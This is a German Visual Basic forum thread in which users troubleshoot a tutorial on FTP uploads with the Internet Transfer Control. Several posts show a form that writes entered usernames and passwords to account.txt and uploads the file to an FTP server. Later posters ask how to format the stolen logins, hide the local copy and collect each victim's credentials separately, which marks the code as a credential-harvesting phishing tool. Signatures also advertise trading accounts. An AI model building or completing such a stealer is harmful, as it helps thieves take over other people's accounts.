Visual Basic Forum

Viktor · Verfasst am: 25.07.2007, 15:03

Auch dieses Tutorial stammt von PsYkO
Er zeigt euch wie ihr einen FTP Upload realisiert.

Passwort: "vb-x.org"

Download
_________________

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

Schreibt mal bitte rein wie euch das TuT gefallen und geholfen hat!

PS. Ja ich weiß, dass der Schluss des TuT´s nicht sooo gut war Smile

Und vergebt mir büdde meine Rechschreibfehler!
Embarassed

_________________

[S] unbegrenzt 6er UIN´s [B]Steam
[S] RS.com Prem Acc´s [B]Steam

F3rMaR3_ · Newbie Anmeldedatum: 05.08.2007 Beiträge: 2

es geht net bei mir der Upload kommt bei mir aufs Desktop

[code]

Private Sub Command1_Click()
'############
'## ##
'## by FmK ##
'## ##
'############

Open "account.txt" For Append As #1
Print #1, Text1.Text
Print #1, Text2.Text
Close #1

Dim a As String

Dim b As String

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "FTP Link"
.UserName = "Username"
.Password = "Passwort"

a = "account.txt"
b = "account.txt"

.Execute , "PUT" & a & " " & b
End With
MsgBox "Upload erfolgreich!"

End Sub[/code]

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

hmm so direkt kann ich jetzt kein Fehler feststellen!
Ich hab mal den Source geuppt.
Das wollte ich eigentlich verhindern, aber was solls!
Ich kann dir nur ans herz legen das ganze nicht mit c&p zu machen sondern zu verstehen!
Naja, genug mit dem gelabber, falls noch was unklar ist
---> Hier fragen <-----

http://uploaded.to/?id=zzx4gb

EDIT: Jetzt fällt mir noch was ein!
Als ich mit dem FTP Upload beschäftigt war kamen auch Fehler und zwar...

1) Schau, das du mit keinem FTP Upload tool (zb. Flash FXP) mit deinem FTP verbunden bist, während dein Prog versucht eine Datei zu uppen!

2)Dem Prog. ein bisschen Zwit lassen. SO ist sichergestellt, das auch wirklich der Upload fertig ist!

3) Sonst den oben geposteden source verwenden Wink

Bahamut_ · « Moderator » Anmeldedatum: 12.12.2006 Beiträge: 250

Ähm "der Upload kommt aufs Desktop", stimmt so nicht ganz, das Programm erstellt eine Textdatei im Verzeichnis wo sich auf die .exe befinden (ist halt bei dir der Desktop). Diese wird anschließend hochgeladen.

Weil du dich schon so komisch ausgedrückt hast, geh ich mal davon aus, dass du dich nicht wirklich mit der Materie auskennst, wenn ich falschliege, verbesser mich bitte ^^

Daher die Frage, hast du auch im folgenden Codeteil die Url, deinen Username und dein Passwort eingegeben?

[code]
.URL = "FTP Link"
.UserName = "Username"
.Password = "Passwort"
[/code]
_________________
VB.Net-Compiler: http://www.microsoft.com/germany/express/download/default.aspx
VB.Net-eBook: http://www.galileocomputing.de/openbook/visual_basic/

regenwurm_ · Coder Anmeldedatum: 20.07.2007 Beiträge: 85

Bahamut_ · « Moderator » Anmeldedatum: 12.12.2006 Beiträge: 250

@regenwurm:

Es geht ja vorallem darum, dass die Datei gar nicht auf m FTP landet. Klar is es schlauer die Datei irgendwo zu speichern und am besten gleich nach dem Hochladen zu löschen
_________________
VB.Net-Compiler: http://www.microsoft.com/germany/express/download/default.aspx
VB.Net-eBook: http://www.galileocomputing.de/openbook/visual_basic/

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

1) Hier geht es um den reinen Upload und nicht um ein Phishingtool o.ä. Laughing

2) Ich dachte es kommt keine Datei aufm FTP an!
Du solltest dich vll das nächste mal deutlicher ausdrücken Wink

_________________

[S] unbegrenzt 6er UIN´s [B]Steam
[S] RS.com Prem Acc´s [B]Steam

F3rMaR3_ · Newbie Anmeldedatum: 05.08.2007 Beiträge: 2

kann man auch so machen das die usernamen und passwörter im txt so abgepsichert werden:

===============
Username: DerUsername |
Passwort: DasPasswort |
================

===============
Username: DerUsername |
Passwort: DasPasswort |
================

_________________________

nach der reihen folge?

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

RaG3!_ · Poster Anmeldedatum: 26.07.2007 Beiträge: 104

Ich weiß auch nicht , was ich falsch mach, der uploadet die Datei einfach nicht,

Könnt ihr mal nachgucken?

[vb:1:bd3044e254]
Private Sub Command1_Click()

Dim a As String
Dim b As String

With Inet1

.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = 21
.URL = txt_adresse.Text
.UserName = txt_benutzer.Text
.Password = txt_pass.Text
a = cdl_filename
b = cdl_filename

End With

MsgBox "Upload erfolgreich!", vbInformation, "Erfolgreich!"

End Sub

Private Sub Command2_Click()
frmSplash.Show

End Sub

Private Sub Command3_Click()
With cdl
.Filter = "Alledateien (*.*) | *.*"
.ShowOpen

End With

End Sub
[/vb:1:bd3044e254]

DAnke

Helo_ · Tutorial Leser Anmeldedatum: 06.07.2007 Beiträge: 35

[vb:1:10a7f70487]Private Sub Command1_Click()

With Inet1

.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "ftpserver"
.UserName = "username"
.Password = "passwort"

' Datei, die hochgeladen werden soll (lokal)
sLocalFile = "Pfad..."

' Verzeichnis und Dateiname der Zieldatei auf dem FTP-Server
sRemoteFile = "/pfad"

.Execute , "PUT " & sLocalFile & " " & sRemoteFile ' hochladevorgang

End With

MsgBox "Upload erfolgreich!", vbInformation, "Erfolgreich!"

End Sub

Private Sub Command2_Click()
frmSplash.Show

End Sub

Private Sub Command3_Click()
With cdl
.Filter = "Alledateien (*.*) | *.*"
.ShowOpen

End With

End Sub[/vb:1:10a7f70487]

vllt so ...

mfg Helo
_________________

RaG3!_ · Poster Anmeldedatum: 26.07.2007 Beiträge: 104

DAnke schonmal, ich möchte das aber gerne über die funktion commodialog machen, sprich dass man die Datei über "durchsuchen" auswählen kann.
Wie geht dass dann?

Amethyst_ · Poster Anmeldedatum: 24.02.2007 Beiträge: 172

Bei mir klappt's einfach nicht.
Er erstellt zwar die datei, uploadet sie aber nicht.
URL + ID + PW sind 100% richtig.
Selbst dein Source klappt net. Surprised

_________________

Helo_ · Tutorial Leser Anmeldedatum: 06.07.2007 Beiträge: 35

auf der form fehlen noch : 2 Textboxen , 2 command buttons , 1 inet trans... , 1 common dialog

[vb:1:b3f110aac5]Option Explicit

Dim bError As Boolean
Private Sub Command2_Click()
On Error Resume Next
With CommonDialog1
.CancelError = True
.ShowOpen
Text1.Text = CommonDialog1.FileName

End With

End Sub

Private Sub Inet1_StateChanged(ByVal State As Integer)

If State = icError Then
bError = True
End If
End Sub
Private Sub Command1_Click()
Dim sLocalFile As String
Dim sRemoteFile As String

bError = False
With Inet1
.AccessType = icUseDefault

.Protocol = icFTP
.RemotePort = "21"

.URL = "ftpserver"

.UserName = "username"
.Password = "passwort"

sLocalFile = Text1.Text 'Pfad + Dateiname auf dem pc in text box 1

sRemoteFile = "/" & Text2.Text ' datei pfad + name auf dem server

.Execute , "PUT " & sLocalFile & " " & sRemoteFile

Do While .StillExecuting And Not bError
DoEvents
Loop

If Not bError Then

Else

MsgBox "Fehler beim Upload!" & vbCrLf & _
"ResponseCode: " & .ResponseCode & vbCrLf & _
"ResponseInfo: " & .ResponseInfo
End If
End With

End Sub
[/vb:1:b3f110aac5]

Beschreibung wenns ne exe dann ist:

1. Schritt
Datei im Common dialog auswählen. (Command2)
2. Schritt
Dateiname + Pfad auf dem server eingeben in textbox2 + die endung
3. Schritt command 1 drücken für upload

habs nochmal editiert also der source geht ! 99% habs getestet

mfg Helo
_________________

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

RaG3!_ · Poster Anmeldedatum: 26.07.2007 Beiträge: 104

Danke schonmal Helo, hab jez alles gemacht mitm Druchsuchen klappt alles, jedo will der Upload einfach nicht-_- hab 2 Textboxen , 2 command buttons , 1 inet trans... , 1 common dialog alles, jedoch will der einfach nicht -_-

[vb:1:d75cb4e149]Option Explicit

Dim bError As Boolean
Private Sub Command2_Click()
On Error Resume Next
With CommonDialog1
.CancelError = True
.ShowOpen
Text1.Text = CommonDialog1.FileName

End With

End Sub

Private Sub Inet1_StateChanged(ByVal State As Integer)

If State = icError Then
bError = True
End If
End Sub
Private Sub Command1_Click()
Dim sLocalFile As String
Dim sRemoteFile As String

bError = False
With Inet1
.AccessType = icUseDefault

.Protocol = icFTP
.RemotePort = "21"

.URL = "lmein url"

.UserName = "name"
.Password = "pass"

sLocalFile = Text1.Text 'Pfad + Dateiname auf dem pc In text box 1

sRemoteFile = "/" & Text2.Text ' datei pfad + Name auf dem server

.Execute , "PUT " & sLocalFile & " " & sRemoteFile

Do While .StillExecuting And Not bError
DoEvents
Loop

If Not bError Then

Else

MsgBox "Fehler beim Upload!" & vbCrLf & _
"ResponseCode: " & .ResponseCode & vbCrLf & _
"ResponseInfo: " & .ResponseInfo
End If
End With

End Sub[/vb:1:d75cb4e149]

Helo_ · Tutorial Leser Anmeldedatum: 06.07.2007 Beiträge: 35

hm... also ich hab es extra probiert bei mir hat es gefunzt versuch mal einfach eine textdatei upzuloaden oder ein bild .
Ich habs getestet am anfang hat ich auch en paar probleme aber so wie ich den post da gepostet habe müsste es funktioniren.

Edit: achja in die 2. textbox darfst du auch dann nicht noch / machen!
also des ist ja der pfad auf dem server des / hab ich schon im source
du mussst dann nurnoch z.B. : ordner/123.txt in die 2. textbox schreiben!
mfg Helo
_________________

RaG3!_ · Poster Anmeldedatum: 26.07.2007 Beiträge: 104

Hab mal mein ganze sProjekt geuppt

http://l0elchen.l0.funpic.de/vb_ftp/
Wär nett wenn du dir das mal angucken könntest, bin jez mal für ne stunde weg

aber vielen dak schonmal

Helo_ · Tutorial Leser Anmeldedatum: 06.07.2007 Beiträge: 35

also:
Ich hab des project grad runtergeladen.
und meinen ftp server eingetragen + id+pw ...
und einfach mal eine txt datei upgeloadet FUNZT 1A
also dann muss es am hoster oder so liegen wegen bei mir gehts !

mfg Helo
_________________

killer110_ · Poster Anmeldedatum: 16.04.2007 Beiträge: 165

Wasn Hoster haste den?
_________________

RaG3!_ · Poster Anmeldedatum: 26.07.2007 Beiträge: 104

funpic

Helo_ · Tutorial Leser Anmeldedatum: 06.07.2007 Beiträge: 35

also hab auch nochmal getestet mit funpic !
geht normal auch also bei mir funzt es !

Wichtig bei funpic :
[vb:1:019b09deb4]
.URL = "username.us.funpic.de" ' das .us. wird aus den ersten 2 buchstaben vom benutzernamen gebildet
.UserName = "username"
.Password = "FTPPasswort"[/vb:1:019b09deb4]
_________________

KillingVB_ · Tutorial Leser Anmeldedatum: 24.08.2007 Beiträge: 22

Bei mir speichert sich die TXT datei auf den Desktop(weil ich da die project exe liegen habe) und auf dem FTP! server.

Kann mir vll jemand erklären wie ich sie nur auf den ftp server speichern knn, und wenn das nicht gehen sollte wie ich die txt datei (die aufen desktop kommt) irgendwo anders verstecken kann?

Danke schonmal.

Mein Code:

KillingVB_ · Tutorial Leser Anmeldedatum: 24.08.2007 Beiträge: 22

Und noch eine Frage, wie speichert man den mehrere Dateien aufem ftp?
Also z.b jemand gibt usernamen und passwort Surprised

ein schickt es ab es speichert sich ne txt datei aufen ftp , und der nächste macht genau das gleiche und es speichert sich noch ne txt datei aufem ftp

The-God-of-all_ · Verfasst am: 25.08.2007, 14:19

Chickenman_ · Poster Anmeldedatum: 24.04.2007 Beiträge: 149

Hi, und wie kann man sich das in einer Progressbar anzeigen lassen , wie lange es noch dauert halt Wink

und dann auch erst die meldung kommt .

Wink

Danke

minotaurus_ · Newbie Anmeldedatum: 07.10.2007 Beiträge: 12

mh bei mir uploadet er immer leere Files...
Obwohl sie lokal auf meinem rechner nich leer sind.. Sad

blubablub_ · Tutorial Leser Anmeldedatum: 20.06.2007 Beiträge: 31

bei mir sagt er immer verbindung zum remote host kann nicht hergestellt werden, ich weiß nicht warum.

_code__ · Verfasst am: 05.12.2007, 13:54

bei mir gehts auch nicht o.O
-angaben richtig (100 pro)
-kein ftp prog verbunden

naja vll weiß ja wer ne lösung dafür Wink

_________________

ZiG_ · Überflieger Anmeldedatum: 07.03.2007 Beiträge: 1248

Ich sag euch die Lösung.
Das Internet Transfer Control ist der letzte Dreck. Total verbuggt.
Auf vbarchiv gibts den selben code + einer Lösung womit man eine Rückgabe erhält ob erfolgreich oder nicht.
Keine Ahnung ob der im Thread schon gepostet wurde.
Jedenfalls funktioniert dieser ebenfalls nicht gut.

Umsteigen auf winsock oder ähnlichem ist die Lösung.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)

BLooDy_ · Newbie Anmeldedatum: 10.12.2007 Beiträge: 12

Ehm ich weis net was ich falsch mache
das wird als fehler angezeigt

.Execute , "PUT " & a & " " & b

kann mir da wer helfe

H4CK4 K1NG0_ · Verfasst am: 25.02.2008, 21:53

Vielleicht hast du Komponent nicht hinzugefügt?

BLooDy_ · Newbie Anmeldedatum: 10.12.2007 Beiträge: 12

hab eig alles

Also ich habe

2 Textboxen
1 Command
1 Inet1 ding xD

bugzz101_ · Newbie Anmeldedatum: 01.03.2008 Beiträge: 3

Hey kann mir einer sagen wie ich die text datei auf einen anderen Pfad speichern kann.
_________________

Torn_ · Newbie Anmeldedatum: 23.02.2008 Beiträge: 8